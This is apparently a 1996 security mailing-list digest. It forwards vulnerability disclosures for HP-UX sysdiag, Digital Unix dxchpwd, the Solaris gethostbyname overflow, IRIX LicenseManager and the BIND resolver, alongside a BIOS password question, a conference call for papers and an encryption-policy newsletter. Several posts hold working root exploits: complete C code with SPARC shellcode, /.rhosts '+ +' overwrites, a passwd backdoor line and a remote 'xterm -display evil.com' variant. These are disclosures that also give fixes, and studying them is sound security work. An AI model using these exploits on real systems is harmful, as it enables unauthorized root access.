Content-Transfer-Encoding: 7bit

(tested on hp720/9000, DUI ver.A.02.18)

$ ls -al /bin/sysdiag
-r-sr-xr-x   1 0        bin           18 Nov 30  1992 /bin/sysdiag
$ /bin/sysdiag
*****************************************************************
******                                                     ******
******               ONLINE DIAGNOSTIC SYSTEM              ******
******                                                     ******
****** (C) Copyright Hewlett Packard Co. 1987, 1989, 1990  ******
******                 All Rights Reserved                 ******
******                                                     ******
******              DUI Version A.02.18                    ******
******         Diagnostic Monitor Version   A.02.19        ******
******                                                     ******
*****************************************************************

    Type "HELP" for assistance.

DUI >outfile /.rhosts
DUI >+ +
     ^
*** SYNTAX ERROR (DUISERR 501)

DUI >redo
+ +
(press enter)
DUI >+ +
     ^
*** SYNTAX ERROR (DUISERR 501)

DUI >exit
$ ls -al /.rhosts
-rwxr-xr-x   1 0        users        891 Nov 17 04:25 /.rhosts
$ rlogin localhost -l root
#


ps. the error message "     ^                        "
                       *** SYNTAX ERROR (DUISERR 501)
    is show in screen after keyin command.

--
hope it useful.                            by Y+X
I couldn't send it to BOS mailing list :(

------------------------------

Date: 	Sun, 17 Nov 1996 00:09:38 +0000
From: Eric Augustus <augustus@mail.stic.net>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
Subject: BoS:      Digital Unix v3.x (v4.x?) security vulnerability
Message-ID: <19961117060938656.AAA204@Atevi.stic.net>
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT

In Digital Unix (OSF/1) v3.x, there is a security vulnerability in the
/usr/tcb/bin/dxchpwd program. The dxchpwd is installed as part of the
C2 security package. The dxchpwd can be used to overwrite any file, or
create a file anywhere on the system causing a possible denial of
service and possibly lead to root access.

Background: dxchpwd is part of the C2 security package and is setuid
root. It's a GUI interface for a users to change their passwds. As far
as I know, all Digital Unix v3.x versions are vulnerable, and possibly
4.x.

Details: When dxchpwd is run, it creates a log file /tmp/dxchpwd.log
which is root owned and mode 600. If the log file doesn't exist, it
can be symlinked to any existing file, or new file on the system. New
files are created root owned, mode 600.  Existing files retain their
permissions and ownership, but their contents are overwritten. If a
user then attempts to change a passwd, a message similar to the
following is written to the log file:

Unknown SIA Prompt: (* Permission denied.
 *) rendition 6

In this case, if /.rhosts were symlinked to /tmp/dxchpwd.log, then a
host known as Unknown could possibly gain root access.

Example:
$ ls -l /usr/tcb/bin/dxchpwd
-rwsr-xr-x   1 root     bin        49152 Jul 25  1995 /usr/tcb/bin/dxchpwd
$ ls -l /tmp/dxchpwd.log
/tmp/dxchpwd.log not found
$ export DISPLAY=:0     (or a remotehost)
$ ln -s /hackfile /tmp/dxchpwd
$ ls -l /hackfile
/hackfile not found
$ /usr/tcb/bin/dxchpwd
(The dxchpwd window will appear. Just enter root for username
 and anything for the passwd. You'll get a permission denied
message and the window will close.)
$ ls -l /hackfile
-rw-------   1 root     system         0 Nov 16 22:44 /hackfile

Fix: Make sure /tmp/dxchpwd.log exists, which is root owned and at
least mode 600 until a patch is available. Of course, the setuid bit
could be removed, but then users couldn't use it to change their
passwds.

Gus
--
_________________________________________________________________________
Eric Augustus
1211 Saxonhill Drive
San Antonio, TX  78253
(210) 679-6497
augustus@stic.net
_____________________ #INCLUDE <std_disclaimer.h> _______________________
You May Be an Engineer if...
    people groan at the party when you pick out the music

------------------------------

Date: 	Mon, 18 Nov 1996 13:38:57 -0500
From: Jeremy Elson <jelson@helix.nih.gov>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS:      Serious hole in Solaris 2.5[.1] gethostbyname() (exploit included)
Message-ID: <Pine.SGI.3.95.961118133522.8991B-100000@helix.nih.gov>
Content-Type: TEXT/PLAIN; charset=US-ASCII

18 Nov 1996, 13:30 EST

Hello,

I have found what I believe is a very serious security hole in the
gethostbyname() function provided in the nsl library of Solaris 2.5 and
2.5.1.  The hole allows local users to gain access to a root shell
(exploit program provided below).  There is a good chance this exploit can
be modified to allow a remote attack, but such a method has not yet been
found.


gethostbyname() appears to have a buffer overrun problem.  Calling
gethostbyname() on a Solaris 2.5 or 2.5.1 machine with an argument larger
than 8,251 characters causes a segmentation fault or bus error.  This does
*not* seem to happen under Solaris 2.4; some change made to the NSL
library between 2.4 and 2.5 seems to have broken this.

The buffer overrun can be readily exploited by passing a string to
gethostbyname() that contains assembler code to execute a shell and
overwrites the stack's return pointer so the flow of control jumps to that
code when the function tries to return.  (This technique was described in
detail in Phrack 49, and the exploit program below is based on their
writeup.)

The implications are somewhat alarming.  Any program that accepts a
hostname from the user without imposing a restriction on the length of the
hostname, and resolves it using gethostbyname(), is potentially
exploitable.  Any suid-root program fitting that description can be used
to gain root privileges.  The exploit program I have provided uses
/usr/bin/rlogin, but the same code also gives a root shell if used in
conjunction with rsh, ping, or traceroute.

If a suitable daemon can be found, this same technique can probably also
be used as a remote exploit.  The asm code in my exploit program simply
runs /bin/sh (BTW, I didn't write the shellcode myself; I copied it from a
similar program).  If the code is changed to run something else (for
example, 'xterm -display evil.com:0'), and a daemon can be found that will
resolve hostnames without restricting their length, remote root access may
be possible.  For example, any mail daemon might work (HELO <overflow_string>)
or the finger daemon (finger krusty@{overflow_string}@victim.com).

Note that all sites running a public traceroute or ping gateway under
Solaris 2.5 or 2.5.1 are also potentially vulnerable, and probably should
disable those services until a patch is available (or indefinitely).

Sun has been notified of this bug; they told me they are already aware of
it, but a patch is not yet available.

Finally, I am enclosing below two programs.  The first (rlogin-exploit.c)
executes a root shell under Solaris 2.5[.1] by passing an appropriately
constructed string to /usr/bin/rlogin as its argument, which rlogin then
resolves using gethostbyname().  This program also works to exploit rsh,
ping, traceroute, etc.

The second (overflow-demo.c) is an almost identical program, except that
it directly calls gethostbyname() instead of using rlogin.  The result is
a shell of the same UID as the calling program.  The purpose of this
program is simply to demonstrate that the bug is part of the NSL library,
not rlogin.

Thank you to Jeremy Rauch (jed@cs.jhu.edu) for useful advice in working up
this bug.


Jeremy Elson
Division of Computer Research and Technology
National Institutes of Health
Bethesda, MD
Email: jeremy.elson@nih.gov
Phone: (301) 402-0349


-------------------- rlogin-exploit.c --------------------------------------

/*
 * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
 * by exploiting the gethostbyname() overflow in rlogin.
 *
 * gcc -o rlogin-exploit rlogin-exploit.c
 *
 * Jeremy Elson, 18 Nov 1996
 * jeremy.elson@nih.gov
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      8200
#define EXTRA           100
#define STACK_OFFSET    4000
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);

  execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
  perror("execl failed");
}

-------------------- overflow-demo.c --------------------------------------

/*
 * overflow-demo.c: demonstrates the buffer overrun of gethostbyname()
 * in Solaris 2.5/2.5.1.  This should execute a subshell of the same userid
 * as the calling program.
 *
 * gcc -o overflow-demo overflow-demo.c -lnsl
 *
 * Jeremy Elson, 18 Nov 1996
 * jeremy.elson@nih.gov
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>


#define BUF_LENGTH      8200
#define EXTRA           100
#define SPARC_NOP       0xa61cc013
#define STACK_OFFSET    4000

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}


void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);
  gethostbyname(buf);
}

------------------------------

Date: 	Mon, 18 Nov 1996 12:33:33 +0900
From: Seo Euiseong <paladin@intersys.kaist.ac.kr>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
Subject: BoS:      Magic password of some linux-box(Hardware..)
Message-ID: <199611180333.MAA29024@intersys.kaist.ac.kr>
Content-Type: text

In recent, there are lots of host runs Linux, FreeBSD, etc...

Many administrarot believes that System Password that main board support is

fully secure to prevent the console hacker from cracking in front of the system

But, It is a very "Unsecure" thought.

A few days ago, my friend mistyped his console password, "condo,".

The BIOS vendor of his system was AWARD.

Then, The BIOS accept the password like a real password and booting,

gives the permission to set up the bios.

I thought that it was a bug of a version of award bios.

But, It's not true. Unfortunately almost versions of award bios has the

magic password "condo,"


I was very afraid of the increasing of console hacking on many linux box.

I wanna know the real fact of this magic password, and How can I disable
it.

------------------------------

Date: Sat, 16 Nov 1996 22:06:49 -0500
From: "Betty G. O'Hearn" <betty@infowar.com>
To: c4i-pro@azure.stl.nps.navy.mil
Subject: BoS: c4i-pro Re: InfoWarCon 6
Message-Id: <1.5.4.32.19961117030649.008347b4@mail.infowar.com>
Content-Type: text/plain; charset="us-ascii"

"Betty G. O'Hearn" <betty@infowar.com>
                                     Second Announcement
>                               C A L L   F O R  P A P E R S 
>
>InfoWarCon 6, 
>Sixth International Conference on Information Warfare 
  and SystemsAssurance
                      Brussels, Belgium May 4-6, 1997
>
>
>              Defending Civilian National Security Interests and
>                                     Infrastructures
>
>The national security assets of not only the United States, but also
>major industrial and technical societies world-wide are shifting
>rapidly. The private sector infrastructure carries most military
>communications; builds global economies, provides life sustaining
>power and is responsible for the safety of millions of travelers.
>
>A mere few years ago, the world in bi-polar militaristic terms and we
>sought to protect ouselves through a policy of strategic deterrence:
>MAD. Today, distributed capabilities by nation-states, trans-national
>gangs, terrorists and other criminal elements create an entire array
>of potential adversaries which complicates any national defense
>initiative. The targets become civilian, but also affect goverenment
>operations and military readiness.
>
>What we find occuring is a convergence of interests that traditionally
>were quite separate. The military uses much of the civilian
>infrastructures to conduct the affairs of war and peace; the civilian
>business sector is increasingly viewed as a national security asset
>worthy of protection. 
>
>This Call For Papers asks that interested parties from governments,
>academia, corporation and the private sector of all nations, submit
>papers, or concepts for papers to be given at InfoWarCon 6, and
>published on www.infowar.com. The papers may be on related topics, but
>ideally, to conform with the theme of the Conference, will take one of
>several approaches:
>
> 1. Developing methods for information assurance of private sector
>infrastructures and national security related systems. Availability,
>Confidentiality, Integrity, Identity, Repudiation.
>
> 2. Knowledge and Technology Transfer between the various sectors. How
> do 
>we get the interested parties to talk and cooperate?
>
> 3. Effective technical or psychological means to educate or train
>populations for defensive national sensitvity. 
>
> 4. Policy methods, processes, mechanisms and coordination on both a
>national and international scale.
>
> 5. A military/government view on aspects of Information Warfare, be
> they defensive or offensive, and how they impact or influence the private
>sector. Can the Military defend the private sector?
>
> 6. A civilian/private sector view on aspects of Information Warfare,
> and how they affect and impact the military/government of countries. Is
>corporate vigilantism the answer?
>
>However, papers on any related subject of interest to a global
>"Information Warfare and Systems Assurance" audience are invited. Last
>year in Brussels, at InfoWarCon 4, representatives from over 30
>nation-states participated. For this year, a number of top echelon
>Russian Information Warfare and Information Assurance experts will be
>there to participate in all conference activities. For complete
>information, please contact Conferences@ncsa.com or for Ad
>sponsorships...contact  Sponsor@ncsa.com.
>
>----------------------------------------------------
>
>HOW TO SUBMIT PAPERS:
>
> * Please submit papers in English as an Attachment in Word 2.0 for
>Windows, (or other popular WP format) or Powerpoint. Please send long
>files, 10K, as email attachments, not as body text in email.  
>
> * For concept papers, please format them as follows: Introduction,
> Body, Summary, and What The Audience Will Learn. 
>
> * If you are interested in chairing a Panel, please submit your
> concept for the panel, and suggested members.
>
> * All submissions should be accompanied by a biography of the
> authors.
>
> * If your proposed presentation is other than a paper, (ie,
> multi-media, interactive, etc.) please provide as much detail as possible. 
>
> * If your submission is accepted, you will be asked to provide the
>complete version in both hard copy and electronic formats. All papers
>will be published on www.infowar.com.
>
> * Papers will be accepted through December 10, 1996, and notification
> of acceptance will be no later than December  20, 1996.
>
>-----------------------------------------------------
>Please send your submissions to:
>
>Betty@Infowar.Com
>or, snail mail to:
>
>Betty O'Hearn
>Interpact, Inc.
>11511 Pine St.
>Seminole, FL  33772
>V: 813.393.6600
>F: 813.393.6361
>
>                      InfoWarCon6  is presented by:
>
> National Computer Security Association (www.ncsa.com)
> Winn Schwartau's Infowar.Com (www.infowar.com)
> Robert Steele's OSS, Inc. (www.oss.net)
>Betty G. O'Hearn
Assistant to Winn Schwartau
http://www.infowar.com
betty@infowar.com
813-367-7277  Voice
813-363-7277   Data/FAX

------------------------------

Date: Mon, 18 Nov 1996 18:44:06 -0500
From: Bob Palacios <editor@cdt.org>
To: cypherpunks@toad.com
Subject: BoS: CDT Policy Post 2.38 - President Takes First Steps Towards  Clipper 3.1.1
Message-Id: <v03007803aeb6a50ea233@[204.157.127.16]>
Content-Type: text/plain; charset="us-ascii"

-----------------------------------------------------------------------------
    _____ _____ _______
   / ____|  __ \__   __|   ____        ___               ____             __
  | |    | |  | | | |     / __ \____  / (_)______  __   / __ \____  _____/ /_
  | |    | |  | | | |    / /_/ / __ \/ / / ___/ / / /  / /_/ / __ \/ ___/ __/
  | |____| |__| | | |   / ____/ /_/ / / / /__/ /_/ /  / ____/ /_/ (__  ) /_
   \_____|_____/  |_|  /_/    \____/_/_/\___/\__, /  /_/    \____/____/\__/
   The Center for Democracy and Technology  /____/     Volume 2, Number 38
----------------------------------------------------------------------------
      A briefing on public policy issues affecting civil liberties online
----------------------------------------------------------------------------
 CDT POLICY POST Volume 2, Number 38                     November 18, 1996

 CONTENTS: (1) President Takes First Steps Towards Clipper 3.1.1
           (2) Details of the Executive Order
           (3) How to Subscribe/Unsubscribe
           (4) About CDT, contacting us

  ** This document may be redistributed freely with this banner intact **
        Excerpts may be re-posted with permission of <editor@cdt.org>
         ** This document looks best when viewed in COURIER font **
-----------------------------------------------------------------------------

(1) PRESIDENT TAKES FIRST STEPS TOWARDS CLIPPER 3.1.1

In a move that leaves major unanswered questions about the privacy of global
communications on the Internet,  President Clinton has taken the first
concrete steps towards implementing the government's controversial key
recovery encryption proposal.  On Friday November 15, the President appointed
an ambassador-level "Special Envoy for Cryptography" and signed an Executive
Order that gives the Commerce Department jurisdiction over encryption exports
but includes the Justice Department in all such export decisions.  These
developments do little to change the underlying regulations on encryption
that have prevented the development of a strong worldwide encryption standard
needed to protect privacy and security on the Internet.

The full text of the executive order and other relevant background materials
are available on CDT's Encryption Policy Page:

     http://www.cdt.org/crypto/

Friday's White House announcements demonstrate the Administration's
commitment to its dangerous key recovery approach to worldwide encryption.
This approach fails to meet the fundamental privacy needs of computer users
and industry because:

*  International communications are still vulnerable since products sold
   by the dominant U.S. hardware and software manufacturers must conform
   to U.S. export controls.

*  Key recovery won't protect privacy internationally and institutionalizes
   a global government surveillance mechanism without privacy safeguards.

*  U.S. exports are still controlled and uncompetitive making it harder for
   the market to develop a secure global encryption standard.

The Administration policy, initially announced on October 1st and dubbed
"Clipper 3.1.1," leaves Internet users without the technical means to secure
their communications or the international legal standards needed to protect
their privacy.

In other developments this week, Hewlett-Packard and other companies announced
preliminary approval to export new "dormant encryption" products, which
contain strong encryption that can only be activated with a special license.
While this new architecture is expected to make it easier for industry to
market encryption products, this technology does not change the underlying
privacy problems created by the Administration's export control policy.
Granting of licenses to use strong encryption will still be subject to the
current export controls limiting key length and requiring key recovery for
strong encryption.

CONTINUING A DANGEROUS KEY RECOVERY POLICY

The Administration's announcements mark the first real steps towards
implementing an approach to encryption policy based on the dangerous and
untested idea of global key recovery.  This approach would institutionalize
worldwide governmental access to encrypted communications without providing
any privacy standards for electronic communications or stored data.

The Administration's approach leaves computer users at risk operating on a
global network without the technical security provided by strong encryption
or the legal privacy rights afforded here in the United States by the Fourth
Amendment and federal law.  For example, the Administration policy would not
solve the following privacy problems:

*  International communications are still vulnerable.  For example, an
   American individual doing business with someone in France would still
   be forced to use weaker forms of encryption, or use key recovery systems
   that make their communications accessible to law enforcement officials of
   both countries.

*  Key recovery won't protect privacy internationally.  A Chinese dissident
   communicating with supporters in the U.S. and fearful of weaker encryption
   would be to forced to use key recovery. The Administration indicates that
   such key recovery mechanisms would be based on bilateral key-access
   arrangements between governments. Even if the dissident's keys were
   recoverable only in the U.S., such a global key access policy would
   almost certainly make those keys accessible to the Chinese government. If
   the United States expects China to assist U.S. law enforcement with key
   recovery for issues of national interest, such as anti-piracy efforts in
   China, we can also expect China to require U.S. disclosure of keys to its
   law enforcement community.

*  Exports are still controlled and uncompetitive.  A Japanese company using
   exportable U.S. encryption products would be forced to use lower strength
   encryption -- or use an key recovery agent approved by the U.S. law
   enforcement community. This is unlikely to help the global market develop
   a worldwide standard for secure communications.

As a result of this policy, computer users all over the world will be left
with a lowest common denominator infrastructure that does not provide for
either technical security or legal privacy for sensitive communications and
data. CDT believes that any workable U.S. encryption policy must be designed
to protect the privacy and security of Internet users.

------------------------------------------------------------------------

(2) DETAILS OF THE EXECUTIVE ORDER

The Executive Order signed by the President on Friday does not change the
type of encryption products that will be exportable. Rather, it lays the
groundwork for the eventual transfer of encryption export control
jurisdiction from the State Department to the Commerce Department pending
Final Regulations by both departments.

Encryption exports have traditionally been regulated as "munitions"
controlled by the State Department. While the Commerce Department is widely
viewed as more sensitive to the needs of business and individual encryption
users, Commerce is still constrained by Administration encryption policy.
Additional provisions of the Executive Order indicate that the Commerce
Department's encryption controls will continue to be dominated by law
enforcement and national security interests:

*  New Justice Department role in export review committee -- In an unusual
   step, the Order adds the Justice Department to the interagency group
   reviewing Commerce encryption export decisions.

*  Source code treated as a "product" -- The Order specifically singles out
   encryption source code to be given the stricter review scrutiny of a
   "product" rather than a "technology."

*  Broad definition of export -- The export of encryption source code or
   object code is extended to explicitly include posting to FTP sites or
   electronic bulletin boards unless "adequate" precautions are taken to
   prevent transfer abroad. As reflected by a recent Federal Court finding
   in the CDA indecency case that Internet users rarely have control over
   the parties accessing materials via FTP, Usenet, or the Web, this
   provision could have the chilling effect of preventing most
   dissemination or discussion of new cryptographic tools on the Internet.

The Administration's announcements will have little effect on the existing
encryption privacy problem unless the underlying policies governing the
export and use of encryption are changed. These announcements do little to
address the unanswered questions about how privacy will be protected in the
key recovery system envisioned by the Administration.

APPOINTMENT OF THE "SPECIAL ENVOY FOR CRYPTOGRAPHY"

On Friday the President also designated Ambassador David L. Aaron as the
new "Special Envoy for Cryptography."  According to the White House, this
Special Envoy will have "responsibility to promote the growth of electronic
commerce and robust, secure global communications in a manner that protects
the public safety and national security. . . . Ambassador Aaron will promote
international cooperation, coordinate U.S. contacts with foreign governments
on encryption matters and provide a focal point for identifying and resolving
bilateral and multilateral encryption issues."  Ambassador Aaron is currently
the U.S. Ambassador to the OECD.

CDT hopes that the new Special Envoy, as a representative of the United
States, will work to represent the needs of Americans to communicate
privately in the currently insecure global environment.  Until now, U.S.
encryption representation abroad has been dominated by law enforcement and
national security interests. CDT hopes that the new Special Envoy will also
consult with the computer user community, consumers, privacy advocates, and
industry to promote their need for secure networks worldwide.

NEXT STEPS

In the coming months, both the Department of Commerce and the State
Department must issue rules to implement the Administration's new encryption
policy.

*  The State Department will issue a rule transferring its jurisdiction of
   encryption licensing  to the Commerce Department.

*  The Commerce Department will issue rules spelling out exactly how it will
   approve products for export, and what the requirements for approved key
   recovery centers and key recovery plans will look like.

CDT hopes and expects that the Administration will provide an opportunity
for public comment in the rulemaking process to allow input from those
concerned about privacy and security in the formulation of U.S. encryption
policy.

------------------------------------------------------------------------

(3) SUBSCRIPTION INFORMATION

Be sure you are up to date on the latest public policy issues affecting
civil liberties online and how they will affect you! Subscribe to the CDT
Policy Post news distribution list.  CDT Policy Posts, the regular news
publication of the Center For Democracy and Technology, are received by
nearly 10,000 Internet users, industry leaders, policy makers and
activists, and have become the leading source for information about
critical free speech and privacy issues affecting the Internet and other
interactive communications media.

To subscribe to CDT's Policy Post list, send mail to

     policy-posts-request@cdt.org

with a subject:

     subscribe policy-posts

If you ever wish to remove yourself from the list, send mail to the
above address with a subject of:

     unsubscribe policy-posts

-----------------------------------------------------------------------

(4) ABOUT THE CENTER FOR DEMOCRACY AND TECHNOLOGY/CONTACTING US

The Center for Democracy and Technology is a non-profit public interest
organization based in Washington, DC. The Center's mission is to develop
and advocate public policies that advance democratic values and
constitutional civil liberties in new computer and communications
technologies.

Contacting us:

General information:  info@cdt.org
World Wide Web:       URL:http://www.cdt.org/
FTP                   URL:ftp://ftp.cdt.org/pub/cdt/

Snail Mail:  The Center for Democracy and Technology
             1634 Eye Street NW * Suite 1100 * Washington, DC 20006
             (v) +1.202.637.9800 * (f) +1.202.637.0968

-----------------------------------------------------------------------
End Policy Post 2.38                                           11/18/96
-----------------------------------------------------------------------

------------------------------

Date: Tue, 19 Nov 1996 13:52:28 -0800
From: rolf@la-playa.ucsd.edu (Rolf Schreiber)
To: best-of-security@suburbia.net
Subject: BoS: FWD: Irix: root exploit for LicenseManager
Message-Id: <9611191352.ZM6676@la-playa.ucsd.edu>
Content-Type: text/plain; charset=us-ascii

----- Forwarded message from Yuri Volobuev -----

>From owner-bugtraq@NETSPACE.ORG  Tue Nov 19 13:16:05 1996
Approved-By: ALEPH1@UNDERGROUND.ORG
Approved-By:  Yuri Volobuev <volobuev@T1.CHEM.UMN.EDU>
Message-ID: <Pine.A41.3.95.961119130245.34928A-100000@t1.chem.umn.edu>
Date: 	Tue, 19 Nov 1996 13:30:19 -0600
Reply-To: Yuri Volobuev <volobuev@t1.chem.umn.edu>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Yuri Volobuev <volobuev@t1.chem.umn.edu>
Subject:      Irix: root exploit for LicenseManager
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>

Hi there,

For your convenience, a new, fast, reliable way to get root on your local
SGI is given below.  It works on Irix 5.3 and 6.x with
license_eoe.sw.license_eoe installed, which I believe is default (I found it
installed on several independent Irix installations).  5.2 doesn't seem to
have it.

This exploit was made possible by developers who make big, fat programs like
LicenseManager suid.

Short background:  LicenseManager is GUI to license subsystem.  It allows
to install/remove/update FLEXlm and NET_LS licenses.  Any regular user with
access to X screen can run it, and it's suid.  It will allow anyone to
install licenses, and will prompt for root password if one wants to remove
one.  And that's about all protection it has.

% setenv NETLS_LICENSE_FILE /.rhosts
% /usr/etc/LicenseManager &

Install...
NetLS Node-locked
Vendor Name: whatever
Vendor ID: + +
Product name: whatever
License version: 1.000
License version:
Expiration date: 01-jan-0

(in license version field I put space)

Apply

License(s) succesfully installed

% cat /.rhosts
#:# "whatever" "whatever" "1.000" "Incomplete"
+ +

If your system has remote root logins disabled, replacing /.rhosts with
/etc/passwd and + + with toor:0:0::/:/bin/sh will be helpful.

How to fix:

chmod -s /usr/etc/LicenseManager

Comments:

This whole thing makes me feel bad.  There are genuine exploits, there are
smart ones and lame ones.  This one is superlame.  Hacking suid program like
LicenseManager is like stealing a milk bottle from a newborn, while baby's
sleeping, parents are out of town and babysitter's in the bathroom.

It is extremely well known that suid programs are very dangerous.  It
doesn't take a lot of knowledge to figure that suid program that big is
vulnerable in zillion ways (and it is, I've just shown one of many).  It's
just not suitable to be suid because it does no sanity checks whatsoever.
So why is it suid?  Somebody wanted to make Irix GUI more user-friendly.
Really, why not allow people to install licenses without bothering to su
first?  Alas, this is a clear case where security is sacrified in favor of
(very questionable) ease of use.  With all due disrespect, even Microsoft
doesn't do things like that so easily.

I notified SGI, but haven't heard back from them.

have fun,

yuri
---
This message reflects my personal opinion, not my employer's

----- End of forwarded message from Yuri Volobuev -----

-- 
Rolf Schreiber  UCSD Academic Computing Services, 619-534-4062  rolf@ucsd.edu

------------------------------

Date: Mon, 18 Nov 1996 22:53:16 -0700 (MST)
From: Oliver Friedrichs <oliver@secnet.com>
To: firewalls@greatcircle.com
Subject: BoS: Serious BIND resolver problem
Message-ID: <Pine.BSI.3.95.961118225123.319A-100000@silence.secnet.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII

                        ######    ##   ##    ######
                        ##        ###  ##      ##
                        ######    ## # ##      ##
                            ##    ##  ###      ##
                        ###### .  ##   ## .  ###### .

                            Secure Networks Inc.

                             Security Advisory
                             November 18, 1996

                    Vulnerability in Unchecked DNS Data.

In research for our upcoming network auditing tool, we have uncovered a
serious problem present in implementations of BIND which trust invalid data
sent to them.  This vulnerability specifically applies to hostname to address
resolution and can result in local and remote users obtaining root privileges.

It is recommended that security conscious users upgrade to the latest version
of the BIND resolver immediately.  Information on obtaining the latest
official release is provided at the end of this message.

Technical Details
~~~~~~~~~~~~~~~~~

When a standard hostname lookup is performed on internet connected systems,
the resulting address should be 4 bytes (Forgetting about IPv6 for now).
Assuming that the address will always be 4 bytes, many privileged and
unprivileged programs (including network daemons) trust the address length
field which is returned from gethostbyname() in the hostent structure.  By
trusting the length field returned by DNS to be 4 bytes, it then copies the
address into a 4 byte address variable.  The vulnerability exists due to the
fact that we can specify the size of IP address data within the DNS packet
ourselves.  By specifying a size larger than 4 bytes, an overflow occurs, as
the program attempts to copy the data into the 4 byte structure it has
allocated to store the address.

One example of this vulnerability occurs in rcmd.c, the standard BSD library
routine which is used by rsh and rlogin to remotely connect to systems.  Note
that the code itself is not faulty, however the resolver implementation is.
Example code follows:

   hp = gethostbyname(*ahost);
   if (hp == NULL) {
      herror(*ahost);
      return (-1);
   }
   *ahost = hp->h_name;

   .
   .
   .

   bzero(&sin, sizeof sin);
   sin.sin_len = sizeof(struct sockaddr_in);
   sin.sin_family = hp->h_addrtype;
   sin.sin_port = rport;
   bcopy(hp->h_addr_list[0], &sin.sin_addr, hp->h_length);

In this example, we copy hp->h_length ammount of data into the address 
variable of a sockaddr_in structure, which is 4 bytes.  The hp->h_length
variable is taken directly from the DNS reply packet.  If we now look at how
rcmd() declares it's variables, and after looking through rlogin with a
debugger, we can determine that this is a dangerous situation.

   int rcmd(ahost, rport, locuser, remuser, cmd, fd2p)
        char **ahost;
        u_short rport;
        const char *locuser, *remuser, *cmd;
        int *fd2p;
   {
        struct hostent *hp;
        struct sockaddr_in sin, from;
        fd_set reads;

On further testing, and implementation of exploitation code, we can verify
that this is indeed possible via the rlogin service. In order to exploit the 
problem, we first start a program to send a fake DNS replies. 

[root@ariel] [Dec 31 1969 11:59:59pm] [~]% ./dnsfake
oakmont.secnet.com(4732)->idoru.secnet.com(53) : lookup: random-domain.com (1:1)
sent packet fake reply: 270 bytes
idoru.secnet.com(53)->oakmont.secnet.com(4732) : reply: random-domain.com (1:1)

We then cause rcmd() within rlogin to do a host lookup and response with
our false data.

[oliver@oakmont] [Dec 31 1969 11:58:59pm] [~]% whoami
oliver
[oliver@oakmont] [Jan 01 1970 00:00:01am] [~]% rlogin random-domain.com
random-domain.com: Connection refused
# whoami
root
#

Impact
~~~~~~

By checking common BSD sources, we can see that over 20 local programs are
vulnerable to this attack, and possibly 2 remote daemons.  The possibility
of exploiting local programs may seem insignificant, however if one considers
an attacker somewhere on the internet intercepting DNS lookups, and inserting
their own replies, it isn't.  There is a real threat of passive attacks
present here, whereby any user on a network running any of these programs can
be a victim. Take for instance traceroute, or ping both of which fall prey
to this problem.

Aside from stock UN*X programs which ship with most vendor operating systems,
there appears to be problems related to h_length in external software packages.
Due to the flaw, FWTK (Firewall Toolkit) a freely available firewall kit
appears vulnerable. The generic routine, conn_server(), which is utilizied
by the proxy servers, appears to trust the data as well.

Vulnerable Systems
~~~~~~~~~~~~~~~~~~

At this point we would assume that most vendor systems who have incorporated
BIND directly into their operating system are vulnerable. 

Solaris is not vulnerable according to Casper Dik <Casper.Dik@Holland.Sun.COM>

Fix Information
~~~~~~~~~~~~~~~

The maintainers of BIND, and CERT were notified of this problem several
months previous to this posting.

